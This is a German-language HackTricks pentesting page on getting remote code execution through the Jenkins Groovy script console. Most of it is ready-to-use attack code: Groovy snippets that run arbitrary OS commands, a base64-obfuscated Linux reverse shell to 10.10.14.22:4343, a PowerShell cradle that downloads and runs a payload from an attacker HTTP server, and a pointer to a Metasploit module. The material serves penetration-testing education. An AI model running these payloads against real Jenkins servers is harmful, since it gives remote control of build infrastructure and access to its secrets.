Jenkins RCE mit Groovy-Skript

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Jenkins RCE mit Groovy-Skript

Dies ist weniger auffällig als die Erstellung eines neuen Projekts in Jenkins.

  1. Gehe zu path_jenkins/script
  2. Füge das Skript in das Textfeld ein.
python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Sie können einen Befehl ausführen mit: cmd.exe /c dir

In linux können Sie: "ls /".execute().text

Wenn Sie Anführungszeichen und einzelne Anführungszeichen im Text verwenden müssen, können Sie """PAYLOAD""" (dreifache doppelte Anführungszeichen) verwenden, um die Nutzlast auszuführen.

Ein weiteres nützliches groovy-Skript ist (ersetzen Sie [INSERT COMMAND]):

python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse-Shell in Linux

python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse-Shell in Windows

Sie können einen HTTP-Server mit einer PS-Reverse-Shell vorbereiten und Jeking verwenden, um ihn herunterzuladen und auszuführen:

python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Sie können diesen Prozess mit diesem Skript automatisieren.

Sie können MSF verwenden, um eine Reverse-Shell zu erhalten:

msf> use exploit/multi/http/jenkins_script_console

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks